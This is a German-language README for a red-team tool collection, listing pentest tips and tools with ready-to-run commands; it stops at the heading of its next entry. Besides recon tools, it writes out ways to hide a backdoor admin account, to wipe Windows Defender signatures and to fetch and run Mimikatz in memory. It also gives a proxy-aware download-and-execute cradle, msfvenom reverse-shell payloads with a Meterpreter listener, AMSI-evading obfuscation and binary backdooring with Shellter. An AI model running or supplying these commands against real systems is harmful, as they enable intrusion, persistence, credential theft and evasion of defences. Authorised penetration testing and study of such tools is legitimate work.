edu0x01/hack-toolsProjekt, das mehrere Pentest-Tools zusammenbringt
Dieses Repository enthält eine Sammlung von über 200 Werkzeugen und Ressourcen, die für Red-Teaming-Aktivitäten nützlich sein können.
Einige der Werkzeuge wurden speziell für Red Teaming entwickelt, während andere allgemeinerer Natur sind und für den Einsatz im Red-Teaming-Kontext angepasst werden können.
Warnung
Die Materialien in diesem Repository dienen ausschließlich Informations- und Bildungszwecken. Sie sind nicht für illegale Aktivitäten bestimmt.
Hinweis
Blenden Sie die Überschriften der Werkzeugliste mit dem Pfeil ein/aus.
Klicken Sie auf 🔙, um zur Liste zurückzukehren.
git submodule update --init --recursive
### Neues Projekt hinzufügen```bash
git submodule add https://github.com/example.git
docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Lernen Sie von Red Teamern mit einer Sammlung von Red Teaming Tipps. Diese Tipps decken eine Reihe von Taktiken, Tools und Methoden ab, um Ihre Red Teaming Fähigkeiten zu verbessern.
Hinweis: Fast alle Tipps stammen derzeit von @Alh4zr3d, er veröffentlicht gute Red Team Tipps!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Beschreibung:** _'Das Erstellen von Konten ist riskant, wenn man Blue ausweicht, aber wenn man einen lokalen Administrator erstellt, sollte man etwas nette Zauberei in der Registry anwenden, um ihn zu verstecken.'_
**Quelle:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Windows Defender durch Löschen von Signaturen lahmlegen```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Beschreibung: 'Etwas chaotisch, aber wenn Windows Defender dir große Kopfschmerzen bereitet, anstatt ihn zu deaktivieren (was den Benutzer alarmiert), solltest du ihn einfach neutralisieren, indem du alle Signaturen löschst.'
Quelle: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Beschreibung:** _'Manchmal möchte man sich per RDP oder ähnlich bei einem Host anmelden, aber der Benutzer hat eine aktive Sitzung. Mehrere Sitzungen pro Benutzer aktivieren.'_
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Lokale Alternative zu Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Beschreibung: 'Haben Sie es satt, beim lateralen Movement ständig die Sysinternals PsExec.exe hochzuladen? Windows hat eine bessere Alternative vorinstalliert. Probieren Sie stattdessen dies aus.'
Quelle: @GuhnooPlusLinux
Link: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Beschreibung:** _'Wenn möglich, nutze das aus, was bereits vorhanden ist, anstatt Tools auf Maschinen hochzuladen (aus vielen Gründen). PowerShell/.NET helfen. Beispiel: einfacher Port-Scanner in PowerShell.'_
**Gutschrift:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy-fähiger PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Beschreibung: 'Die meisten großen Organisationen nutzen heutzutage Web-Proxies. Die standardmäßige PowerShell-Download-Cradle ist nicht proxy-fähig. Verwenden Sie diese hier.'
Credit: @Alh4zr3d
Link: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Beschreibung:** _'Sie wären überrascht, was man allein aus den Lesezeichen eines Benutzers herausfinden kann. Interne Endpunkte, auf die sie zugreifen können, zum Beispiel.'_
**Quelle:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)DNS-Einträge zur Enumeration abfragen```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Beschreibung: 'Enumeration ist 95% des Spiels. Aber massenhaft Scans zu starten, um die Umgebung zu bewerten, ist sehr laut. Warum nicht einfach den DC/DNS-Server nach allen DNS-Einträgen fragen?'
Quelle: @Alh4zr3d
Link: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Beschreibung:** _'Unquotierte Dienstpfade ohne PowerUp finden'_
**Quelle:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Umgehung einer deaktivierten Eingabeaufforderung mit /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Beschreibung: 'Diese Eingabeaufforderung wurde von Ihrem Administrator deaktiviert...' Kann normalerweise in Umgebungen wie Kiosk-PCs gesehen werden. Ein schneller Hack-Umgehung ist die Verwendung von /k über das Windows-Ausführungsfenster. Dies führt den Befehl aus und zeigt dann die Einschränkungsmeldung an, was die Befehlsausführung ermöglicht.
Autor: Martin Sohn Christensen
Link: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Beschreibung:** _'Bist du es leid, dass Windows Defender mimikatz.exe löscht? Versuche stattdessen dies.'_
**Credit:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Link:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Überprüfen, ob du in einer virtuellen Maschine bist```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Beschreibung: 'Möchtest du wissen, ob du in einer virtuellen Maschine bist? Frage die Registrierungsschlüssel ab und finde es heraus!!! Wenn Ergebnisse angezeigt werden, bist du in einer virtuellen Maschine.'
Credit: @dmcxblue
Link: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Beschreibung:** _'AppLocker kann eine Qual sein. Aufzählen, um zu sehen, wie schmerzhaft es ist'_
**Credit:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
# Aufklärung
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
Ich habe einen Bash-Einzeiler zusammengestellt, der:
- Passiv eine Liste von Subdomains aus Zertifikatsassoziationen sammelt ([crt.sh](https://crt.sh/))
- Aktiv jede Subdomain abfragt, um ihre Existenz zu überprüfen ([httprobe](https://github.com/tomnomnom/httprobe))
- Aktiv Screenshots jeder Subdomain zur manuellen Überprüfung erstellt ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Verwendung:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Note: Sie benötigen httprobe, pup und EyeWitness, installiert und ändern Sie 'DOMAIN_COM' zur Ziel-Domain. Sie können dieses Skript gleichzeitig in Terminal-Fenstern ausführen, wenn Sie mehrere Root-Domains als Ziel haben
Ein JavaScript-Lesezeichen für die Extraktion aller Webseiten-Endpunkt-Links auf einer Seite.
Erstellt von @renniepak, mit diesem JavaScript-Code-Schnipsel können alle Endpunkte (beginnend mit /) aus dem aktuellen Webseiten-DOM extrahiert werden, einschließlich aller externen Skriptquellen, die auf der Webseite eingebettet sind.```javascript
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "
");
});
}
setTimeout(writeResults, 3e3);
})();
**Usage (Bookmarklet)**
Create a bookmarklet...
- `Right click your bookmark bar`
- `Click 'Add Page'`
- `Paste the above Javascript in the 'url' box`
- `Click 'Save'`
...then visit the victim page in the browser and click the bookmarklet.
**Usage (Console)**
Paste the above Javascript into the console window `F12` and press enter.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Fast vulnerability scanner that uses .yaml templates to search for specific issues.
**Install:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Verwendung:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Von der Community kuratierte Liste von Vorlagen für die nuclei-Engine, um Sicherheitslücken in Anwendungen zu finden.</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Dokumentation</a> •
<a href="#-contributions">Beiträge</a> •
<a href="#-discussion">Diskussion</a> •
<a href="#-community">Community</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">DC beitreten</a>
</p>
---
Vorlagen sind der Kern des [nuclei-Scanners](https://github.com/projectdiscovery/nuclei), der die eigentliche Scan-Engine antreibt.
Dieses Repository speichert und beherbergt verschiedene Vorlagen für den Scanner, die von unserem Team bereitgestellt sowie von der Community beigetragen wurden.
Wir hoffen, dass auch Sie Vorlagen per **Pull-Requests** oder [Github Issues](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) beisteuern, um die Liste zu erweitern.
## Nuclei Templates Überblick
Ein Überblick über das nuclei-template-Projekt, einschließlich Statistiken zu eindeutigen Tags, Autoren, Verzeichnissen, Schweregraden und Vorlagentypen. Die folgende Tabelle enthält die zehn wichtigsten Statistiken für jede Kategorie; eine erweiterte Version ist [hier verfügbar](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md), sowie im [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json)-Format zur Integration.
<table>
<tr>
<td>
## Nuclei Templates Top-10-Statistiken
| TAG | ANZAHL | AUTOR | ANZAHL | VERZEICHNIS | ANZAHL | SCHWEREGRAD | ANZAHL | TYP | ANZAHL |
| --------- | ------ | ------------ | ------ | -------------------- | ------ | ----------- | ------ | ---- | ------ |
| cve | 1855 | dhiyaneshdk | 835 | http | 5860 | info | 2857 | file | 123 |
| panel | 896 | dwisiswant0 | 794 | workflows | 190 | high | 1270 | dns | 18 |
| wordpress | 781 | daffainfo | 664 | file | 123 | medium | 1042 | | |
| exposure | 677 | pikpikcu | 353 | network | 93 | critical | 704 | | |
| wp-plugin | 672 | pdteam | 278 | dns | 18 | low | 216 | | |
| xss | 646 | pussycat0x | 240 | ssl | 12 | unknown | 26 | | |
| osint | 639 | geeknik | 220 | headless | 9 | | | | |
| tech | 602 | ricardomaia | 215 | TEMPLATES-STATS.json | 1 | | | | |
| edb | 596 | ritikchaddha | 210 | contributors.json | 1 | | | | |
| lfi | 548 | 0x_akoko | 179 | cves.json | 1 | | | | |
**404 Verzeichnisse, 6542 Dateien**.
</td>
</tr>
</table>
## 📖 Dokumentation
Bitte navigieren Sie zu https://nuclei.projectdiscovery.io für eine ausführliche Dokumentation, um neue oder eigene **benutzerdefinierte** Vorlagen zu **erstellen**.
Wir haben auch eine Reihe von Vorlagen hinzugefügt, um Ihnen zu helfen zu verstehen, wie die Dinge funktionieren.
## 💪 Beiträge
Nuclei-templates wird durch wichtige Beiträge aus der Community unterstützt.
[Vorlagenbeiträge](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Funktionsanfragen](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) und [Fehlermeldungen](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) sind mehr als willkommen.
## 💬 Diskussion
Haben Sie Fragen / Zweifel / Ideen zur Diskussion?
Eröffnen Sie gerne eine Diskussion im [Github-Diskussionsforum](https://github.com/projectdiscovery/nuclei-templates/discussions).
## 👨💻 Community
Sie sind herzlich eingeladen, der aktiven [Discord-Community](https://discord.gg/projectdiscovery) beizutreten, um direkt mit den Projektbetreuern zu diskutieren und Dinge mit anderen in den Bereichen Sicherheit und Automatisierung zu teilen.
Außerdem können Sie uns auf [Twitter](https://twitter.com/pdnuclei) folgen, um über alle Neuigkeiten rund um Nuclei auf dem Laufenden zu bleiben.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Nochmals vielen Dank für Ihren Beitrag und dafür, dass diese Community lebendig bleibt. :heart:
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff ist ein Keyword-Überwachungstool für Certificate Transparency-Logs, das ich in Python geschrieben habe. Es verwendet die certstream-Bibliothek, um nach Zertifikatserstellungslogs zu suchen, die Schlüsselwörter enthalten, die in einer Datei definiert sind.
Sie können dies mit mehreren Schlüsselwörtern ausführen, die sich auf Ihre Opferdomain beziehen. Alle erstellten Zertifikate werden aufgezeichnet und können zur Entdeckung von Domains führen, die Ihnen zuvor nicht bekannt waren.
**Installation:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Verwendung:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Nützliches Tool zum Brute-Forcing von Datei-/Ordnerpfaden auf einer Opfer-Website.
**Installation:**```bash
sudo apt install gobuster
Verwendung:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Ein Werkzeug, das für Forced Browsing entwickelt wurde, einen Angriff, bei dem das Ziel darin besteht, Ressourcen aufzulisten und darauf zuzugreifen, die von der Webanwendung nicht referenziert werden, aber für einen Angreifer dennoch zugänglich sind.
Feroxbuster verwendet Brute Force in Kombination mit einer Wortliste, um nach unverlinkten Inhalten in Zielverzeichnissen zu suchen. Diese Ressourcen können sensible Informationen über Webanwendungen und Betriebssysteme speichern, wie z. B. Quellcode, Anmeldeinformationen, interne Netzwerkadressen usw.
**Installation: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Installation: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Installation: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Vollständige Installationsanweisungen finden Sie hier.
Nutzung:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Vollständige Nutzungsbeispiele finden Sie [hier](https://epi052.github.io/feroxbuster-docs/docs/examples/).
_Bild verwendet von https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Ein Tool zum Auffinden der Infrastruktur, Dateien und Apps eines Unternehmens (Ziels) auf den wichtigsten Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Funktionen:
- Cloud-Erkennung (IPINFO-API und Quellcode)
- Schnell (gleichzeitig)
- Plattformübergreifend (Windows, Linux, Mac)
- User-Agent-Randomisierung
- Proxy-Randomisierung (HTTP, Socks5)
**Installation:**
Laden Sie die neueste [Version](https://github.com/0xsha/CloudBrute/releases) für Ihr System herunter und folgen Sie der Nutzungsanleitung.
**Nutzung:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Bild verwendet von https://github.com/0xsha/CloudBrute
dnsrecon ist ein pyhton-Tool zur Aufzählung von DNS-Einträgen (MX, SOA, NS, A, AAAA, SPF und TXT) und kann aus einer einzelnen Domain-Suche eine Reihe neuer zugehöriger Opfer-Hosts liefern, um von dort aus weiterzugehen.
Installation:```bash sudo apt install dnsrecon
**Verwendung:**```bash
dnsrecon -d google.com
Shodan durchsucht die öffentliche Infrastruktur und stellt sie in einem durchsuchbaren Format dar. Mit einem Firmennamen, einer Domain oder einer IP-Adresse ist es möglich, über Shodan potenziell verwundbare Systeme im Zusammenhang mit Ihrem Ziel zu entdecken.
Tool zum Aufzählen von Subdomains, DNS-Enumeration, WAF-Erkennung, WHOIS, Port-Scan, Wayback-Machine und E-Mail-Harvesting.
Installation:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Nutzung:**```python
python3 AORT.py -d google.com
Ein Programm, das prüft, ob eine Domain gespoofed werden kann. Das Programm überprüft SPF- und DMARC-Einträge auf schwache Konfigurationen, die Spoofing ermöglichen. Zusätzlich wird es warnen, wenn die Domain eine DMARC-Konfiguration hat, die E-Mails oder HTTP-Anfragen bei fehlgeschlagenen SPF/DKIM-E-Mails sendet.
Domains sind spoofbar, wenn eine der folgenden Bedingungen erfüllt ist:
~all oder -allp=none gesetzt oder nicht vorhandenInstallation:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Verwendung:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump ist ein Tool, um schnell AWS S3 Buckets zu durchsuchen und nach interessanten Dateien zu suchen. Es ähnelt einem Subdomain-Bruteforcer, ist aber speziell für S3-Buckets entwickelt und bietet zusätzliche Funktionen, mit denen Sie nach Dateien greppen und interessante Dateien herunterladen können.
Installation:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Verwendung:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Nützliches Tool zum Auffinden von Informationen aus GitHub mit Regex, mit der Möglichkeit, nach bestimmten GitHub-Benutzern und/oder Projekten zu suchen.
Installation:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Verwendung:**```
./githarvester.py
TruffleHog ist ein Tool, das Git-Repositories scannt und nach Hochenergie-Strings und -Mustern sucht, die auf das Vorhandensein von Geheimnissen wie Passwörtern und API-Schlüsseln hinweisen können. Mit TruffleHog können Sie schnell und einfach sensible Informationen finden, die versehentlich committet und in ein Repository gepusht wurden.
Installation (Binaries): Link
Installation (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Verwendung:**```
trufflehog https://github.com/trufflesecurity/test_keys
Dismap ist ein Tool zur Asset-Erkennung und -Identifikation. Es kann schnell Protokolle und Fingerabdruckinformationen wie Web/TCP/UDP identifizieren, Asset-Typen lokalisieren und eignet sich für interne und externe Netzwerke.
Dismap verfügt über eine vollständige Fingerabdruck-Regelbasis, die derzeit tcp/udp/tls-Protokoll-Fingerabdrücke und über 4500 Web-Fingerabdruck-Regeln umfasst. Es kann Favicon, Body, Header usw. identifizieren.
Installation:
Dismap ist eine Binärdatei für Linux, MacOS und Windows. Gehen Sie zu Release, um die entsprechende Version herunterzuladen und auszuführen:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Verwendung:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Bild verwendet von https://github.com/zhzyker/dismap
Ein Tool zum Auflisten von Informationen aus Windows- und Samba-Systemen.
Es kann verwendet werden, um eine breite Palette von Informationen zu sammeln, darunter:
Installation: (Apt)```bash sudo apt install enum4linux
**Installieren: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Verwendung:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Full usage information can be found in this [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
_Image used from https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/_
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Dangerously fast dns/network/port scanner, created by [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), written in Rust.
You will need a subdomains file. _E.g. [Subdomain wordlist by Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)_.
**Installation:**
Download the latest release from [here](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Verwendung:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
_Bild verwendet von https://github.com/Esc4iCEscEsc/skanuvaty_
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor ist ein Intelligence-Tool, dessen Ziel es ist, OSINT-Aufgaben und mehr zu erledigen, jedoch ohne API-Schlüssel.
**Hauptfunktionen:**
- Informationen über IP-Adressen, ASN und Organisationen suchen.
- Wrapper zum effizienteren Ausführen von rustscan, masscan und nmap auf IP/CIDR.
- Finden weiterer verwandter Domains des Ziels durch Anwendung verschiedener Techniken (Zertifikat, Whois, Google Analytics, etc.).
- Zusammenfassung über eine IP-Adresse (ermöglicht durch [@thebl4ckturtle](https://github.com/theblackturtle))
**Installation:**```bash
go install github.com/j3ssie/metabigor@latest
Verwendung:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
_Bild verwendet von https://github.com/j3ssie/metabigor_
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob ist ein Tool, das dabei hilft, potenziell sensible Dateien zu finden, die in öffentliche Repositories auf Github gepusht wurden.
Gitrob klont Repositories eines Benutzers oder einer Organisation bis zu einer konfigurierbaren Tiefe und durchläuft die Commit-Historie, um Dateien zu markieren, die Signaturen für potenziell sensible Dateien entsprechen.
Die Ergebnisse werden über eine Weboberfläche dargestellt, um einfaches Durchsuchen und Analysieren zu ermöglichen.
**Hinweis:** _Gitrob benötigt einen Github-Zugriffstoken, um mit der Github-API zu interagieren. [Erstellen Sie ein persönliches Zugriffstoken](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) und speichern Sie es in einer Umgebungsvariable in Ihrer .bashrc oder einer ähnlichen Shell-Konfigurationsdatei:_```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Installieren: (Go)```bash go get github.com/michenriksen/gitrob
**Installation: (Binary)**
Eine [vorkompilierte Version](https://github.com/michenriksen/gitrob/releases) ist für jedes Release verfügbar.
**Verwendung:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Bild verwendet von https://www.uedbox.com/post/58828/
Gowitness ist ein Dienstprogramm zum Erstellen von Screenshots von Websites, geschrieben in Golang, das Chrome Headless verwendet, um über die Befehlszeile Screenshots von Webschnittstellen zu erstellen, mit einem praktischen Berichtsanzeiger zur Verarbeitung der Ergebnisse. Sowohl Linux als auch macOS werden unterstützt, wobei die Windows-Unterstützung größtenteils funktioniert.
Installation: (Go)```bash go install github.com/sensepost/gowitness@latest
Vollständige Installationsinformationen finden Sie [hier](https://github.com/sensepost/gowitness/wiki/Installation).
**Verwendung:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Vollständige Nutzungsinformationen finden Sie hier.
Bild verwendet von https://github.com/sensepost/gowitness
Chimera ist ein PowerShell-Obfuskierungsskript, das entwickelt wurde, um AMSI und Antivirenlösungen zu umgehen. Es verarbeitet bösartige PS1-Dateien, die bekanntermaßen AV auslösen, und verwendet Zeichenersetzung und Variablenverkettung, um gängige Erkennungssignaturen zu umgehen.
Installation:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Verwendung:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Msfvenom ermöglicht die Erstellung von Payloads für verschiedene Betriebssysteme in einer breiten Palette von Formaten. Es unterstützt auch die Verschleierung von Payloads zur Umgehung von Antivirenprogrammen.
Listener einrichten```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Msfvenom-Befehle
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter ist ein dynamisches Shellcode-Injektionswerkzeug und der erste wirklich dynamische PE-Infektor, der je entwickelt wurde.
Es kann verwendet werden, um Shellcode in native Windows-Anwendungen zu injizieren (derzeit nur 32-Bit-Anwendungen).
Shellter nutzt die ursprüngliche Struktur der PE-Datei aus und wendet keine Modifikationen an, wie das Ändern von Speicherzugriffsberechtigungen in Abschnitten (es sei denn, der Benutzer möchte dies), das Hinzufügen eines zusätzlichen Abschnitts mit RWE-Zugriff oder alles, was bei einem AV-Scan verdächtig wirken würde.
Die vollständigen README-Informationen finden Sie hier.
Installation: (Kali)```bash apt-get update apt-get install shellter
**Installation: (Windows)**
Besuchen Sie die [Download-Seite](https://www.shellterproject.com/download/) und installieren Sie.
**Verwendung:**
Wählen Sie einfach eine legitime Binärdatei aus, um einen Hintertür einzubauen, und führen Sie Shellter aus.
Einige nützliche Tipps finden Sie [hier](https://www.shellterproject.com/tipstricks/).
Viele Community-Demos finden Sie [hier](https://www.shellterproject.com/shellter-community-demos/).
_Bild verwendet von https://www.kali.org/tools/shellter/images/shellter.png_
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
